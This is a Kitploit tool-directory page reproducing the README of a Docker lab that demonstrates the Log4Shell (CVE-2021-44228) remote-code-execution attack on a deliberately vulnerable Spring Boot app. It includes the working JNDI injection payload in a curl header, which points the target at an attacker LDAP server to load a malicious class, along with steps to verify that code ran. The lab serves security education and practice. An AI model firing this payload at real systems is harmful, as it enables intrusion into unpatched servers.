Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-44228_Log4Shell — Docker-based RCE exploit demo for Log4Shell (CVE-2021-44228) with vulnerable Spring Boot app, malicious LDAP server, and payload delivery via JNDI injection. | Kitploit
Tools/GitHubGitHub/vutiendat323/cve-2021-44228_log4shell
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubvutiendat323/cve-2021-44228_log4shell

CVE-2021-44228_Log4Shell

Docker-based RCE exploit demo for Log4Shell (CVE-2021-44228) with vulnerable Spring Boot app, malicious LDAP server, and payload delivery via JNDI injection.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
24 months agoNot yet reviewed
Share

Demo Exploiting Log4Shell Vulnerability (CVE-2021-44228)

This project simulates an RCE attack scenario through the Log4Shell vulnerability in the Apache Log4j 2 library.

Components

  1. vulnerable-app: Spring Boot application using Log4j 2.14.1.
  2. attacker: Contains malicious LDAP server (marshalsec) and HTTP server serving the malicious Exploit.class file.

Procedure

1. Start the environment

Requires Docker and Docker Compose to be installed.

root@kitploit:~
docker compose up --build

Wait until both containers are ready. vulnerable-app will run on port 8080.

2. Perform the attack

Open a new terminal and send a request containing the JNDI payload via the header:

X-Api-Version
root@kitploit:~
curl -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost:8080/

3. Verify the results

  • Check the logs of the vulnerable-app container. You will see the payload message has been logged.
  • Check the logs of the attacker container. You will see the LDAP connection redirected to the HTTP server.
  • Verify RCE: Check whether the /tmp/pwned file has been created inside the vulnerable-app container:
root@kitploit:~
docker exec -it vulnerable-app ls -la /tmp/pwned

If the file exists, it proves the malicious Exploit.class was executed successfully!

Warning

This project is for educational and security research purposes only. Absolutely do not use it for illegal purposes.

Download Tool